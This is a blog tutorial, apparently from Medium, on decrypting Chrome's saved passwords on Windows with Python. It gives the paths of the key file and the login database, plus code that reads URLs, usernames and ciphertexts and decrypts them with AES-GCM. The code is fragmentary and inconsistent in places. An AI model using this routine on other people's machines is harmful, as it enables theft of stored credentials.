How to crack Chrome password with Python?

Typing your username and password into the windows login prompt to decrypt the website password

Steps to decrypt Chrome passwords

There are four main steps to decrypt Chrome passwords

  1. Find the encrypted passwords
  2. Understand AES cryptography
  3. Decrypt the saved passwords

Step 1: Find the encryption key

(1) The encryption key is stored in a JSON file which can be found in the following location on your Windows PC.

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Local State
Using a notepad editor, you can find your encrypted key easily

Step 2: Find the encrypted passwords

The encrypted password is stored in an SQLite database which can be found in the following location of your Windows PC

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data
#Chrome username & password file path
chrome_path_login_db = "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
shutil.copy2(chrome_path_login_db, "Loginvault.db")
#Connect to sqlite database
sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
#Select statement to retrieve info
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext= login[2]
print("Url:",url)
print("Username",username)
print("Cipher Text",ciphertext)
  1. Username
  2. Ciphertext
  1. Encrypted passwords
Location for initialization vector and encrypted password
AES encryption flow diagram
Encrypted key and ciphertext storage locations
#Step 1: Extracting initilisation vector from ciphertext
initialisation_vector = ciphertext[3:15]
#Step 2: Extracting encrypted password from ciphertext
encrypted_password = ciphertext[15:-16]
#Step 3:Build the AES algorithm to decrypt the password
cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()
#Step 4: Decrypted Password
print(decrypted_pass)
Results after code execution

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store